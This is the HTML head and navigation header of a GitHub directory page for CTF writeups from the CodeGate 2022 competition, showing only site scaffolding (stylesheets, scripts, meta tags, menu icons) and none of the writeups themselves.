<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="871B:87C6:1D1D5E11:1DFD3A9A:64121C13" data-pjax-transient="true"/><meta name="html-safe-nonce" content="907fc9ba298a3cb080c33f7afb55ef7e3cbbe6c5f8470c46c6a7156986d47114" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4NzFCOjg3QzY6MUQxRDVFMTE6MURGRDNBOUE6NjQxMjFDMTMiLCJ2aXNpdG9yX2lkIjoiMTI0NTEyNTUyMDU5ODg5OTczMSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ba29f29ab012dacb6b070905229dc5399d973031229c605c2f8e9c7ddc105939" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:106407381" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="An online repo with different tools I have built or scripts that helped me in CTF competitions. - Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/6f96962b76a5efea435928303bf079ed409f717c028f55dffce529f9c245a462/Fineas/Me-CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF" /><meta name="twitter:description" content="An online repo with different tools I have built or scripts that helped me in CTF competitions. - Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF" /> <meta property="og:image" content="https://opengraph.githubassets.com/6f96962b76a5efea435928303bf079ed409f717c028f55dffce529f9c245a462/Fineas/Me-CTF" /><meta property="og:image:alt" content="An online repo with different tools I have built or scripts that helped me in CTF competitions. - Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF" /><meta property="og:url" content="https://github.com/Fineas/Me-CTF" /><meta property="og:description" content="An online repo with different tools I have built or scripts that helped me in CTF competitions. - Me-CTF/Writeups/22-CodeGate at master · Fineas/Me-CTF" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/Fineas/Me-CTF git https://github.com/Fineas/Me-CTF.git">
<meta name="octolytics-dimension-user_id" content="9286000" /><meta name="octolytics-dimension-user_login" content="Fineas" /><meta name="octolytics-dimension-repository_id" content="106407381" /><meta name="octolytics-dimension-repository_nwo" content="Fineas/Me-CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="106407381" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Fineas/Me-CTF" />
<link rel="canonical" href="https://github.com/Fineas/Me-CTF/tree/master/Writeups/22-CodeGate" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
